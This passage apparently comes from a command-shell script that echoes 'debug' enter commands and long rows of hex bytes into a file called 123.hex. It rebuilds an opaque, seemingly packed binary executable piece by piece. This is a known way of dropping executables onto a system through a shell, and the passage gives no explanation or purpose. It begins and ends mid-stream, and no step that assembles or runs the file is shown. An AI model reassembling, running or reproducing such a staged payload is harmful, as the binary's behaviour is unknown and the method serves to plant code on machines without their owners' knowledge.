9c 0b 2f da c1 11 5a f6 3c 76 2d 1b 42 6a 03 dd 3f 94 aa 93 a7 42 83 e9 3b 68 68 49 03 7d 38 a4 88 d9 4e b9 d8 be 4c 20 78 b7 ea 5e 98 33 c0 5d 07 45 20 68 8c fb bb c2 1d 08 36 22 6b f7 9f de 09 04 0d 64 cb bb cb 18 0b 10 ed 06 32 68 10 20 48 d4 48 a8 21 f7 92 b3 68 20 0d 85 d9 46 c0 90 c5 18 35 1c 65 96 30 20 3e 3c ed b4 f5 07 2d >>123.hex echo e 4280 >>123.hex echo 03 c5 c8 00 44 50 97 07 43 bc e0 7f dc bb df 81 b8 2b 32 c0 c3 a1 7e 2d 8b 70 10 22 51 34 e4 7d 4b f4 0d e0 40 6c a9 b9 14 5c 52 82 18 18 35 9b 9d 10 b0 08 51 11 d4 48 a6 b3 62 21 df ff 70 bc 51 f8 b8 51 c9 14 66 4d 66 a8 09 28 16 bc 0a 77 44 88 be c6 9f 0a 34 76 24 f4 5d 04 1d e5 6a 00 b4 02 f5 54 06 18 29 fa 41 b0 ca 00 0e 89 ae 02 e7 86 df a4 2d d9 02 56 8c 11 95 2a 55 96 dc c0 >>123.hex echo e 4300 >>123.hex echo a0 bf 45 2d 75 5c e0 14 2f c1 44 6d f7 f1 6d c5 dd 13 09 0c 07 d3 eb 41 65 5c 6f f1 22 11 83 13 a1 d1 db d1 25 d8 e0 f6 ea d1 d8 0b a8 f4 f7 cc f0 2d ef fe 91 80 18 e8 f7 e6 03 d1 72 0e 3b 27 77 08 72 07 a0 11 b5 bb 3b 2b 76 01 4e 4c df 2c d8 1b 90 43 53 2a 6e 50 db 66 82 58 6e 6c 05 c2 0b eb 9c a3 68 b1 50 6e 19 1d 15 eb 9a 60 c8 6e c8 9c 91 04 10 6b ee 96 69 06 0c 0e cd 08 2b bb >>123.hex echo e 4380 >>123.hex echo 80 cd 74 8e 1b 21 07 08 bd da 82 85 04 17 d8 da 00 c0 66 68 82 47 bf 83 cf ff c2 40 1c 06 fa 12 4c 8a a2 0f a8 83 74 4a fd 5a 0c 8b 0c 49 0a 81 5c 46 08 70 04 e6 82 80 14 cc 1d 89 38 7d 0f 3e 37 d5 45 34 42 f4 46 5f 10 05 9b b5 25 db 0f 1b 24 f6 e9 80 11 0f a1 98 ee ec 18 30 d8 64 d8 a0 b9 28 a9 d0 75 4e 5e 0c 73 5c c5 68 84 bf 06 a6 e2 15 1a 88 e7 0c ba 2e 0f 39 eb 1e 06 2a 1c 88 >>123.hex echo e 4400 >>123.hex echo 23 88 15 30 66 8e a5 08 ea cd c6 24 2b 82 42 41 a4 81 d9 09 a0 a1 2d 34 12 c6 34 14 a6 de 1b ee 6e cf 0e f0 eb 04 11 b1 61 3f b4 a8 40 91 eb 3c 57 50 1d 2e 66 ad ab ad 40 f1 9d f0 01 18 4e 04 8e 84 16 50 02 d8 4f 2c 57 5a 9c 63 01 9d c4 d3 4f 18 32 f0 b5 41 63 00 60 44 be db a1 47 bb 7b ea 03 38 75 06 d3 9c f3 4d c4 b6 94 4c ff 23 fb 1c f7 37 24 82 5b 81 b8 02 77 3d cf 81 7d 29 26 >>123.hex echo e 4480 >>123.hex echo 7e 0d b8 01 11 fe 03 16 3b 22 20 88 51 53 99 e8 86 99 68 2b 17 d5 4b 69 b9 b0 bb 91 14 02 73 2f 8a 1a 0d f8 20 6a a2 1a c0 1e 63 74 f4 bf 44 b4 a5 90 18 3a cb 72 04 3a ca 76 69 86 1a 95 28 a2 b5 3c a4 1c d6 90 b0 e2 36 06 5b 4e 01 ed 70 72 81 21 1a 0f 4f 84 4d 32 d8 8a 09 51 17 df 39 16 2d 95 b0 e9 08 94 8b 43 c5 76 61 3f 6a 09 ce d7 bc 18 f0 56 b2 cc 98 2d 00 52 63 db 12 ba 70 44 >>123.hex echo e 4500 >>123.hex echo 4a 85 c0 cc 1e 55 e4 0c 05 87 50 a1 ea 39 d7 1a e2 40 3c 60 54 12 50 60 ff d4 e4 51 52 5e 49 8d 04 36 50 47 5b b0 47 31 38 e1 2c 3f 51 43 74 c0 b0 52 41 13 38 6c a3 11 bf 07 d8 56 5e 34 55 82 46 7c 25 88 31 1e 28 1f 51 1e 46 f7 62 c9 3e 51 52 d6 8b c6 35 61 14 c3 9a ff 08 29 78 3b 52 53 d2 57 20 8d 4a ff 92 dd 02 ad 0e f9 c8 21 f3 0c 75 4d 15 8e dc 05 2b 39 da a1 51 00 95 26 15 2c >>123.hex echo e 4580 >>123.hex echo 00 3c d5 51 b1 61 ad 22 3d ac 83 ab b6 60 04 c6 14 98 2f 96 68 80 ad fe 07 90 7a 56 a4 0d 74 43 61 88 d6 59 0f 94 c0 5b 41 26 70 fc c6 10 0e 85 57 f5 7d f1 70 96 a3 40 3a 58 55 e7 80 77 b5 e5 1b 64 61 30 7a 32 12 74 58 0b 59 f0 08 b7 09 6d ed 99 61 0b 6a 04 33 88 d3 16 6c 41 72 1d 46 05 ec 59 84 00 43 75 1d 25 c0 4b 72 9b 12 25 f7 00 38 d8 f7 55 dc 2b c6 2b c7 fb 18 93 6c c9 02 9a >>123.hex echo e 4600 >>123.hex echo f8 7a 8c df 58 3b 6c d6 84 7f 2a c5 e8 a6 9c 0c b3 8d 3c b3 61 2d 8a 93 18 07 f8 13 4b 41 71 61 a9 50 e6 c0 bd 17 46 cc 16 74 b0 96 f8 05 ef c8 00 36 42 c1 27 35 81 9c 01 05 a9 64 30 d8 21 3d eb 67 66 af 60 c2 ea 41 51 f2 4e 7a b8 60 49 11 44 8c 37 78 21 45 88 f7 dd e4 1b ed 9a fe 8d d2 c6 04 11 eb 03 01 f7 d5 23 e8 55 72 20 90 10 a0 3a 0b 53 09 b6 49 31 ac 2b 07 36 08 89 88 8e 1b >>123.hex echo e 4680 >>123.hex echo d0 c2 18 6f a3 cf e3 55 5c e8 0d 95 02 f7 de 36 b5 08 83 ed b0 20 34 af d0 26 b0 97 0c 62 b1 77 b0 04 c8 ba 33 7f e8 a9 fa 8e 35 19 57 1a 52 00 70 03 07 46 ff 57 50 53 42 7c a3 92 da 4b 06 8a 04 38 f7 8b 55 d1 d4 21 a8 1d 21 16 15 8d 59 a1 da 78 3c 5f b0 00 2e aa 4a a7 62 15 b2 98 5b 88 22 91 c2 12 10 23 84 44 6b 6e 5f 11 10 26 02 39 1a 41 8f 8b a2 aa 1a d0 c6 ed ec 2d 17 56 c8 53 >>123.hex echo e 4700 >>123.hex echo a4 25 30 dc a2 54 10 41 91 71 f1 c8 88 85 f6 8a 8d 53 8b de 71 57 1c 18 11 07 75 50 83 c7 cf 22 5c e0 2d dd 89 06 d9 a5 e9 8b c8 51 45 88 c3 e2 50 ab 02 c0 87 ff 83 cd a5 82 a0 db f8 62 b9 4d b3 e0 01 3b 44 2a c1 1f 29 fb 3b c2 73 1f 84 58 c1 04 bc 04 18 dd 33 f4 eb 11 12 6d fc 8e 4d 8b 11 cf 03 03 26 e8 e5 2d b6 2d e0 75 6f 5f 46 6c 20 23 c0 0c d8 55 18 7c bd 3c 09 68 0d 49 a9 48 >>123.hex echo e 4780 >>123.hex echo 80 9e 5f 63 c9 25 2e 36 89 54 74 89 ba 24 e0 63 17 73 23 b1 0a b0 48 90 80 58 8b 12 1d b5 84 a0 dd 1e df c1 e6 16 ee 5f 60 62 5b 21 59 15 8f b9 4f 57 5b 5a 61 d5 73 77 84 d4 32 ab f4 e2 d1 42 df 0d 7e 43 b8 b5 35 6a 29 f9 9a e8 1d 2e 48 fa d7 43 5f 2c 48 75 31 53 3e 1c 7b 07 89 1c 30 01 64 7b 88 a3 c3 13 f5 49 aa 96 92 f6 03 6c 48 a2 84 54 69 ef 3c 90 4c d8 af 68 8a 5c 32 0b fa 03 >>123.hex echo e 4800 >>123.hex echo 2f e9 0c 32 ba d0 84 da 74 3d 69 2c cb f7 bb 38 39 15 be 75 21 b7 12 09 16 66 ee 16 0c 80 99 0a 05 f5 eb 04 9c c3 88 5a 48 fd 30 cb c0 00 46 60 a0 3f ea 0b 8c ea 1e 1e 04 c2 74 2d 2c 84 5d 50 00 c3 50 4f d5 8d d7 54 4f 15 1d d4 b8 60 ca 44 1b de 1e 3b 10 74 45 d1 41 3d 39 51 b3 b7 df 2b 83 fa 13 72 10 04 24 77 0b 4d 82 ad 09 de ee c3 81 fa bc 8a 12 07 ca a3 fa 34 0c 09 cc 76 0a 5e >>123.hex echo e 4880 >>123.hex echo 88 76 2f 25 1a 04 cd 64 4f a3 d0 85 52 c2 32 1d 5f 1a 08 03 18 c0 8d 00 98 1c 63 0d 09 78 79 f6 44 01 74 6b 10 8a 70 59 13 b7 10 d8 0b 3b c2 a3 c1 08 c0 51 e5 5d 09 28 3c c4 24 d7 83 59 34 90 10 80 0b 10 c1 ad 68 c1 10 f0 31 30 41 2a e1 52 6f 03 80 e1 fd 3a 8b c7 88 7e 40 26 e8 a1 14 ff 40 a3 23 99 9a f4 0a e3 80 42 89 37 82 96 82 41 e5 0c 31 51 08 12 74 2b 40 71 09 c7 41 09 ec 1e >>123.hex echo e 4900 >>123.hex echo 6b 29 96 41 d4 c3 0c 04 12 02 00 cb dc d6 cd 1c 8d 41 ba d0 31 1d 67 11 dd 41 bf a1 a0 ff a7 14 2e 6e 82 72 c6 82 c7 75 23 5c 48 d4 93 d0 12 50 f4 57 ff d6 86 1e 7a 91 22 16 32 85 2a 11 af 76 87 7d 2f 05 a1 1b 1d 55 2b 4e ca 66 bb 20 34 81 85 b1 51 09 51 1d d6 99 a1 ee 91 23 93 87 00 28 89 7c 36 df 8d ef 28 0c 0d f4 c4 1c 57 57 55 17 91 38 16 35 15 94 ee 39 a3 e0 a3 62 4b 56 4f 53 >>123.hex echo e 4980 >>123.hex echo 2f 82 07 4b 11 38 3a 57 34 c4 62 51 83 74 27 66 25 bb 95 ea 04 11 6d 6d 57 52 15 b5 b0 68 6f 10 c6 3e 15 8d 6c a1 4a 77 de 57 14 98 25 a3 0d c7 12 51 b8 3b 0e 86 6d 0a fe b8 01 e6 11 a7 60 49 d1 75 85 59 3b 2e 74 d4 02 41 0c 74 14 35 3b d8 7d 69 73 3b 52 1d 02 d6 e1 e3 19 f8 05 c1 e3 62 63 34 28 09 12 53 34 06 7a b4 e4 02 e5 20 0b 82 c5 06 2c 15 aa 2d c2 e7 ed 81 1c 34 16 61 28 9b >>123.hex echo e 4a00 >>123.hex echo 62 6c ce 50 62 c7 4e 5c 13 1c 02 bf 5a 8a 2d 23 c6 08 c8 1e d1 8a 52 5b 00 8d a8 05 85 83 17 b8 ff bb c0 8b 16 f4 01 bd 96 49 c6 44 13 05 0a 8d 1d 60 7b 61 73 7d f2 8b 45 0c 03 51 ba d4 2e 60 c6 27 96 75 48 81 5d 72 04 24 90 1a b3 c0 25 d4 88 69 ca 0c 02 dc 1b 59 69 13 57 d8 6e 5f e8 cb ea 22 03 04 8a 44 03 a8 80 a4 20 34 d8 41 26 b1 20 3f 0a 8e 5b 0b de 68 5a e6 24 fb 88 a5 c5 03 >>123.hex echo e 4a80 >>123.hex echo 15 1c 74 89 e8 ba 3b c5 67 0d c6 aa 77 04 07 8a 07 3c 1a 7e 3c 6c 00 94 a2 3e 84 47 04 6d 50 37 47 78 65 4d 96 1b be 97 a0 ad 45 3d 0b 41 c6 06 0a 15 64 45 03 04 db 07 0d 1f 7b 33 28 74 17 3a f6 f7 8b 08 e2 30 94 a3 c9 64 df 4d 14 0b 52 47 df 08 a9 07 1c 21 18 58 53 74 50 1a 11 a5 0a ee 01 f6 a5 37 03 fc 77 37 b7 ee 3c 9f 75 eb 3a 5a 8b 09 46 88 44 0b 05 eb 2f 6d ab d8 05 1b 75 0c >>123.hex echo e 4b00 >>123.hex echo 84 28 1c 16 d0 8b ba 05 7b eb 86 ba 51 ae fb d1 ff 41 74 2c 37 34 f8 c0 9b fb 1c d9 91 8b cc ae 0f 82 31 49 f8 10 d5 31 2b 8e 8b c5 1b d0 5e d8 ba 44 6f 08 30 0b 15 40 8d 5c 05 b0 84 91 dd 0c 02 88 03 25 5f 01 0b a4 43 6d e3 8a 40 0f 59 41 a1 60 00 fd 42 0a f8 ae 96 fc ff 05 60 00 6f 51 8e 1b 62 51 60 f6 68 d0 b0 22 54 1f 8e 36 a8 ff e3 70 f8 c5 22 15 05 d9 09 60 65 03 a0 b1 81 e7 >>123.hex echo e 4b80 >>123.hex echo 3b ee 55 0f 30 0c 00 b7 68 b0 2a d1 56 81 d7 b1 9e 57 b6 a1 13 1f 0e 88 54 d0 a0 03 67 a2 02 35 db ab 40 54 f0 14 4b 10 ad 74 a2 f6 ab b6 7f c0 1f 9d 74 0e 8d 14 49 02 92 f6 04 e5 ba 58 0f 1b 4a 38 db 4b 10 ce 2b 06 49 19 2b c1 3b cc dc 5f 28 9c f7 17 6a c1 e1 02 89 0d d0 0e 7e d5 6f 81 2e 3d 16 89 3d e5 15 58 72 7f 70 ef a3 6a 40 68 b4 58 7b 87 7c a1 5c 11 12 c5 66 08 51 14 08 36 >>123.hex echo e 4c00 >>123.hex echo b0 07 6b 6d 14 96 15 c6 41 3f 34 08 4a 86 76 c6 42 09 4c 89 fd 00 72 d4 f7 b7 50 3d 5c 8a 2a 74 f5 7c fe 52 f7 7b 92 93 01 79 8e 16 56 c6 28 9e e5 1e 0f 84 56 3e 12 8b fd 88 60 14 90 9e aa b7 bd 06 31 c6 ac 5f 2c 29 6b 11 9d d1 b3 26 6a 03 b4 55 e8 b5 80 3c 2c fa b3 a6 fa 7d 16 2b 8a b2 83 c5 03 c2 42 03 08 4b 51 06 c9 81 08 65 61 07 8c d5 45 cc 0c fc 37 7c 69 cb 42 33 85 ff 05 33 >>123.hex echo e 4c80 >>123.hex echo c0 04 f4 8d 77 28 5c 2d 51 08 3c 30 7c 3b 7b b7 bd 4b 39 7f 03 30 ee f3 3a 75 63 45 33 8b 24 2d 3b cc 10 67 39 81 36 d8 ed 0d b3 32 0c 9f 45 01 45 0b 7d f4 37 14 b6 4b c8 2b 34 03 c8 30 d0 9e 6d 82 1e f7 d9 1e 0f be 1f 2c c0 a1 01 14 bd 9f 15 0d 21 76 3b 91 fe 55 52 e0 b5 f6 84 09 0b a4 03 95 b1 c6 01 0d 07 a0 37 63 cf 39 6d 3c 50 a7 82 05 1b 76 0d 71 01 96 7a a4 26 14 27 0c 3b f1 >>123.hex echo e 4d00 >>123.hex echo 02 5a 88 bb 5f a7 1c 7c 82 78 e0 78 0e 5c 81 3d 48 8f 1b 14 30 7a 7f 9b 15 54 a0 46 08 70 db c9 66 20 56 08 07 51 11 6e 6b c6 0f 52 52 1f 50 06 4e 08 48 b6 79 4c 1d 20 6a cd 50 f1 eb 26 d2 28 15 4e 11 21 14 4b 06 1e b0 35 f6 eb b1 98 1b 6b 27 55 d2 1c 55 30 05 7b b3 b1 52 0f 52 4e 55 48 40 b0 ed 8c 16 4e 4d 52 47 54 c3 89 78 e8 9a 0e 7e 1d 76 73 d7 67 2c b2 f4 ff 40 53 a1 00 5b 02 >>123.hex echo e 4d80 >>123.hex echo 28 b9 60 01 02 a6 d0 87 bd eb be f7 50 3f fe 09 a1 f8 ff 40 cc 52 93 73 bf b1 25 65 c9 32 0d fa 17 39 78 09 0a 2e aa d4 28 05 97 1c c2 76 eb 7d 10 00 05 02 8b 2f f6 b6 b1 0d 54 c0 94 a1 53 72 3f a9 2a 18 01 20 86 aa 78 1b 41 dd a1 4b b3 88 5d 44 ad b4 eb 33 7e 32 c3 02 b1 02 05 02 04 10 c5 9f b0 56 d5 02 1f 05 6a 0a 52 c3 86 93 34 00 15 64 b2 a1 74 c4 fb 02 0b fc 4e 1c 3b d0 7d 28 >>123.hex echo e 4e00 >>123.hex echo ca 56 3b c8 7f 20 07 48 d4 52 71 7e 21 98 1d 73 2c b7 db 2d 0b 7c 5f 13 7f 5b 07 7e 09 7d 36 b6 82 60 02 36 7e fe 36 b1 c3 76 bc 24 b9 04 87 08 86 05 dc 76 db 7a 02 78 03 2e 75 12 68 68 63 0a c4 12 d5 f1 11 9d 0c 11 bc f1 fd 3b 0d 78 11 d2 39 0f 9c c2 01 20 16 f0 23 5f e2 8f c5 06 27 2e 08 9b 41 56 aa 45 5e c2 72 9c 85 a0 00 50 52 1f 91 81 f5 7d 20 51 82 e8 5a ef 85 00 15 62 4b eb >>123.hex echo e 4e80 >>123.hex echo 96 39 33 f5 9a 64 12 b4 e2 46 d1 6e f4 db 8d 48 d5 73 ff 89 9f 2d 88 bf fd 03 d1 c1 fe 02 09 82 8d 84 06 25 9c 8c 11 9c a8 bb 07 27 99 f7 fe b3 c1 2f f0 37 79 e8 3b d6 7d 0f c1 e5 fe e8 2b ea 03 ee f0 c4 c9 be bc 29 f9 eb 0b 0e 03 cd 89 40 d9 be db 48 0e 75 f7 bf 80 72 06 07 b8 88 8e e0 bf 3b cf 7e 26 83 e9 07 eb 21 8d 0d 80 b1 42 8f 3c a4 93 0b 8a 7a 04 9f 21 0c 95 ac 88 b6 1c 51 >>123.hex echo e 4f00 >>123.hex echo cc 04 c7 47 43 c9 10 61 a9 21 9a 80 36 00 5c ad 72 2c 9b 1d cc 51 b1 9d 4d a0 8a 70 13 92 d0 88 17 0d 10 4f 40 44 28 d0 d1 98 4b d9 92 c1 82 21 46 74 40 bd b0 0f 5c 15 ac 03 c2 48 04 c1 f4 0d 7e 70 0d 83 7d 15 05 bd 26 05 89 1d bd b7 0f fb be a3 78 5b 3d 00 5c 14 7c 0a 2d 1b 0a 02 cc 82 15 22 9f 15 6c 4b 05 f4 25 39 af 41 01 06 60 a3 8f aa 10 33 8e 5d 03 b5 c3 f5 49 48 21 a1 84 da >>123.hex echo e 4f80 >>123.hex echo d1 07 1f eb 53 33 db 32 42 68 04 b4 b2 0c d0 dc 02 87 10 6a ed 18 0b c9 fd fb 08 70 fe 1c a3 2e 74 53 68 e8 d0 cd fd 9e 10 68 d4 07 a3 88 14 0c a3 8c 76 01 3c 13 ac 0b 7b ff d0 7a cf 7e 00 1d 0e a1 8c 10 05 53 11 08 02 00 0e 5c c2 49 3d 47 8d 89 54 50 96 0a 12 fc aa e8 6a 02 43 27 22 56 c1 cf 4a 74 43 7f 6c f1 10 57 3b f0 ee a1 36 c6 8b fe fb ae 8e 1d 72 83 e7 1f 2c 06 c1 e7 4f ad >>123.hex echo e 5000 >>123.hex echo 38 20 9b 39 7f 56 74 42 50 ec a5 0c 05 02 40 1a 6a 02 18 0a 3d ec 36 8b 6a 01 0b 3b c3 fe 11 01 80 c9 31 50 37 ba 1a 2c 4c 7c fb d8 5f db 6d f4 50 ff 1f 72 cc 8b 55 9b db 13 3a 45 48 e8 46 63 11 53 c8 01 83 2c 82 83 80 f5 20 02 18 5f 3e 8a 41 a6 2f 57 a8 08 74 21 ac 37 d6 a8 1e a9 1d 25 f7 fb 43 0a a0 a9 da aa f0 06 6f 46 1e 50 21 0b af 8f e9 12 c5 29 41 4a 75 15 6e ac a2 21 c5 fb >>123.hex echo e 5080 >>123.hex echo bf 00 1b 32 35 f0 be 13 57 b5 df 42 06 d0 1a 83 fd e0 77 17 1b 5a ba b0 01 71 c5 5a e5 f0 08 bd 3b 12 85 03 71 9a 33 db 1d 50 8f 1c b5 0f 87 0d 22 98 01 f4 db 6d 51 52 43 40 2c 87 0d b4 81 a9 c9 3b d1 d5 2d c3 23 76 40 96 73 70 57 df 41 1f 08 fe fd c1 ef 04 57 56 52 44 ac 42 d4 02 5e 5c 5e 78 60 30 62 ec eb 4d 41 ec 98 46 51 01 60 89 20 06 d3 06 34 b4 b8 cd 72 02 4e 0c 1c 2c 3a 8a >>123.hex echo e 5100 >>123.hex echo 60 c4 d1 96 6d ca 15 83 11 a1 7e 35 18 80 de ab 0f d5 40 8c 5e 83 52 80 29 b6 12 89 79 c9 22 fb 78 4c 44 bc 7a 52 5a 76 d6 55 14 d2 12 50 57 51 41 82 0e 32 08 75 22 37 86 f0 2d c9 19 55 80 cf fe ff ff 50 13 10 12 a0 e0 9c c5 87 08 db 53 25 56 9b 1b 0c 50 45 0e 18 56 c4 a2 fc 66 ba c3 d8 db 66 0f b6 98 59 66 b3 04 8b c8 0d fd 81 14 0c 1e 8a 4a 01 42 5f 41 04 2e 58 45 5c 1a 2f 40 b5 >>123.hex echo e 5180 >>123.hex echo 5a 4c f3 a9 32 eb 0c b7 41 e4 62 2d 13 ae 2a 44 29 18 ec 5a 42 2b 46 75 bb de 31 3b 15 05 be 95 c1 49 23 ca cc 71 04 93 b9 12 81 ee 05 1e 5e 80 11 f1 7d 1f 5b 20 c3 ff 86 15 a5 a6 fb 3f 63 30 2a 60 27 84 a1 74 25 19 a1 49 75 90 36 8b c7 30 96 3f 22 96 14 d0 2f 8b 75 71 53 b4 6d a6 4d fb 7d 42 d1 03 c6 88 4b bd 45 36 08 3b f8 ea 78 01 2f b4 3b 04 e3 14 3d 83 e2 b9 f9 08 72 06 2e 00 >>123.hex echo e 5200 >>123.hex echo b5 29 45 6a 88 95 29 83 d2 05 de c7 ba 1c b2 04 72 0b 50 70 01 a0 50 41 6f a0 94 f7 74 dd 07 ad 98 1e 90 07 1c b0 13 88 16 76 5d dc 03 00 0c 23 d1 f3 88 d4 dc 8d 5e 99 01 88 47 8d 46 02 56 08 90 64 6c 73 8c 59 c7 5c cc 34 96 ac 50 9d 2b 25 01 93 7c 05 70 b2 25 25 a6 90 07 f6 75 67 23 46 21 47 19 8c 3f 7f 34 4d d3 75 06 6c 03 64 5c 54 4c bb c4 5f d3 44 3c bf 44 8e e4 05 8f e4 07 a6 >>123.hex echo e 5280 >>123.hex echo 69 9a a6 e8 e8 ec ec f0 9a a6 69 9a f0 f4 f4 f8 f8 fc 42 41 24 6e fc 8d 04 1c f7 4d f7 1d c2 f8 09 c0 f0 a0 03 ac c0 5b 8a 68 7c 11 45 3d 56 90 9d 0b 36 1b d8 0b f9 11 a3 87 19 12 82 0d 0a 2b 8d 97 0c c2 db 74 31 67 7c 39 fc 7f 24 0d d0 e8 ec b6 fd e3 fc 77 20 97 97 27 87 10 db 65 d0 96 ef 8f f9 2b ae fb 45 3e 28 96 2c 90 38 0b 58 03 dd ad b0 99 80 6d 03 3a 6f 03 4e 58 4f 82 bd 80 >>123.hex echo e 5300 >>123.hex echo 7c 56 b6 97 1f 6c 84 ed 12 a3 ee 02 ef 7d 8c 29 12 5c c0 06 90 27 24 ab 02 6c bc ed ee ab ef ae 45 5a 7c 9a ae bb b0 5b d4 7f dc 03 e4 ec f0 ba a6 69 f4 fc 04 1e 17 d5 d3 34 5d b3 67 1c 1c 07 18 18 14 4d d3 34 4d 14 10 10 0c 0c 08 16 42 d3 34 08 04 04 97 b0 e9 ba 13 1f 30 05 38 03 48 5c 97 01 c1 b5 80 97 b7 b5 87 92 2d 2c d9 46 03 c5 23 d9 c4 65 d5 12 b7 9f 51 8d 88 50 4f 5c 18 23 >>123.hex echo e 5380 >>123.hex echo e5 14 88 5c 51 16 14 0d 98 45 0d ce 06 c2 59 74 06 10 a9 5b cb 2f 37 d2 c7 82 5b 59 86 a8 f2 1c 66 81 39 e8 b7 1b 6a 81 c3 8c 3b 11 83 c1 69 14 38 dd e6 e2 16 04 51 fe 02 35 84 14 40 20 66 44 03 1c db 31 60 a0 04 b1 14 e5 29 19 aa 0f 76 12 0c 55 f2 89 71 40 c4 00 0a 73 64 06 d0 0c 7c 06 6a 16 1a 64 d9 16 0c 20 5c 4c 2a 70 fd bb 55 81 e7 4c 85 1e 6d 4c 38 ff 84 06 66 44 d3 0b 1f 48 >>123.hex echo e 5400 >>123.hex echo 11 fe 08 5e 13 b1 a1 46 fc 52 46 70 02 31 56 40 47 50 ab f0 82 07 b6 5e 60 7a 11 55 d8 03 e8 82 6d 1c 46 ff e5 10 c7 cd 1f 6c 23 c4 6d 7a 0e b8 76 f5 1b 72 48 c0 73 5a 0a 10 a7 79 60 1d b1 24 52 b3 6a a2 87 00 44 fc 42 0f 75 7f a0 30 3b d5 77 1e a9 7f b9 bd 6a c0 7e 11 ab 14 1c 88 0c 3e 74 0d 42 46 5e 23 96 08 7e 7c ef 83 c3 02 67 a6 b5 18 a3 11 06 a1 59 c0 cc 1c 43 ba 20 9f 5d 7f >>123.hex echo e 5480 >>123.hex echo bc d4 54 c0 06 2b 7a 80 65 52 d6 84 b3 57 c5 25 77 07 0a 28 06 12 10 82 04 86 40 41 ea af 82 60 09 b8 54 6c 8b ce ad 1d 8a 6e e8 09 02 06 b6 49 75 f4 41 dc 41 bc 97 f1 07 2b c2 c8 88 6a aa ef 9e c6 af c1 40 a8 78 ff 25 68 cf b0 c1 0f e2 70 33 f9 0a 82 1a 6c ae de 06 ac 16 5c 5d 0e 50 18 d0 54 3d de fc 09 c6 27 4e 6a 61 86 2d 14 df 10 72 00 c1 82 f3 81 c7 58 fc 86 90 c6 06 2d 46 f7 >>123.hex echo e 5500 >>123.hex echo df 24 14 9c 2d 01 ad 25 47 de 19 b6 f5 ab df de 46 b5 ca 07 6b 09 8b f8 76 05 55 1b 85 62 7b 57 eb 03 04 30 86 a4 77 d6 ae b7 88 dc 4a 4e 8a 0b 8f 0e 88 15 62 65 50 fc 43 3b de 72 f2 3e 61 03 26 8b 5f 0b 95 95 b1 0d 2f d5 d4 c5 7d a6 05 68 00 f7 78 a1 7f fa b7 08 fb 43 b7 41 b3 5a b6 20 53 26 0a e4 8a 07 33 f7 ff 37 6a 0a 04 46 47 38 fc 72 06 38 dc 77 02 02 e6 38 f8 09 6b b0 f0 4d >>123.hex echo e 5580 >>123.hex echo d8 c6 38 c4 75 09 37 d7 e8 08 2e dd da 7d 74 4b b9 ff 00 72 44 d1 eb 40 48 33 db b6 c5 b7 07 1b 0b 03 1f 74 23 0b 2b 1f 3f 58 2c 7e d4 51 62 92 4c 99 09 46 26 be bb 07 59 3b c3 41 d5 2a 23 b2 28 ca d9 09 41 02 d4 6b e0 20 58 af e0 dd a4 45 74 ed 01 3b b0 ff 5f 97 2e 6f fc 77 6f ea 8a 27 47 7e f2 2c 41 3c 1a 1a c9 80 e1 19 c1 04 41 bf f4 4f d8 86 e0 0e 38 e0 74 d2 1a c0 1c ca be c0 >>123.hex echo e 5600 >>123.hex echo eb 34 b8 cb d3 bd 13 e1 9f 3f 27 1f d8 88 ed 00 2b 9e 38 94 da a4 86 50 71 5e 63 2f 13 35 71 38 57 9c 64 83 c9 5b d0 a9 06 98 cf 2f 32 14 14 00 3e 52 28 8a 5c ca 04 f8 01 8d 15 2c 61 9e 5e 71 3a 63 23 30 f4 c0 1b 98 18 38 8b 98 30 b5 0b ac 2d 05 1b 60 a2 57 a2 01 2e a9 1f 32 13 18 d5 50 57 34 d5 19 d4 2c 02 a1 ca 3d 55 c4 68 09 35 72 8a 27 72 40 9c a3 11 fa 84 6a c8 fb c3 c4 80 e3 >>123.hex echo e 5680 >>123.hex echo ef cd a0 27 23 a4 88 5c c1 33 c7 20 46 49 4a 27 a1 30 26 08 43 00 98 14 74 ac 82 56 70 c5 65 f0 04 74 81 30 89 8a a1 34 60 bb 25 c2 aa 36 0a 77 93 4c 0e ac ee af 81 33 a6 25 4d f8 51 b6 00 20 e8 00 c6 18 93 6e f8 74 88 bd 54 8a a7 99 b6 90 79 03 24 fc f4 d8 12 fd 3b 9c 8b fc 11 72 41 8d 55 fc 0a 93 ba 02 1b 3a 04 df 3e 54 f4 bf a0 23 55 3b 45 f8 77 50 ad c0 02 bc 6b 4c 8d 77 75 3f >>123.hex echo e 5700 >>123.hex echo 4c f7 b0 70 81 a5 3e bd 17 dc 0a 84 16 29 a2 1b 29 fa 09 8d 8c de 1c 31 48 b2 7f b7 d8 6e 14 74 14 89 3b 77 d0 33 c0 b4 60 b6 5b 58 c2 08 33 c0 0a 02 b8 34 8b df 8e 59 0c 55 18 16 68 c3 64 cb 71 56 a0 f5 02 6c 11 f0 f1 66 39 31 68 0c 2d d4 5f e3 0a 42 81 f9 68 f9 db ef 84 d6 b6 56 03 e9 32 c8 92 02 99 64 d3 8c b9 22 11 0c 0c 4d f6 b3 c9 a6 39 10 14 55 f4 30 d1 05 db b0 f2 1e 42 0f >>123.hex echo e 5780 >>123.hex echo e6 51 2c db db bd e0 04 d5 6e 59 eb 35 44 13 c0 41 df 65 ef d9 c5 6c 21 46 27 6a 13 0d e8 55 bc 64 22 90 b2 28 96 aa 05 36 e0 39 48 48 09 d1 5f 5b 75 02 33 c0 5e 5b 6f b5 c0 b0 00 5f c1 40 24 0b 80 23 92 8e 8c f3 da f1 a0 51 fb d7 e1 b2 80 00 13 75 09 ff ca 57 12 bd da c1 ab 8c b5 74 0b 91 99 5d bb 15 1b 13 10 7b 18 20 01 88 96 b6 ff 0e 00 f6 c5 80 75 15 04 40 a7 81 97 02 1a 51 2f >>123.hex echo e 5800 >>123.hex echo e4 4b 74 04 d4 17 0b b4 08 64 d3 c1 ca c6 28 6e b0 b1 66 48 9b 48 55 ed 02 07 5b 72 91 bc 38 8a 12 09 40 eb 6a 98 60 90 08 80 cb 12 4f 25 4a 5c 2c f8 30 55 4e a7 8a 11 77 7f e8 98 10 a2 03 9d fc a1 40 0e eb 13 bb 1c 2a 7e 7f 21 0c bb 02 06 05 bb 1e 07 aa 6d 40 d8 07 06 03 df b7 db d6 7f 12 48 3b 6f 3c e9 0b 91 dd bd 04 24 55 5d 2b d0 6c 18 03 15 5e 08 35 74 ad db 9e b3 40 1b 02 39 >>123.hex echo e 5880 >>123.hex echo 12 05 1b 14 d8 af db 4e 10 86 a1 4b 16 bd 54 f6 de 00 da eb 1e 11 48 74 12 3d 5b 18 33 11 c7 ce 32 7b 05 bd b0 ee 82 fe 15 70 01 bf 32 17 8b 35 d8 c1 bf ff 93 c3 f7 d6 23 c6 84 c2 75 05 bf 27 f6 c1 40 74 02 d7 dd fd 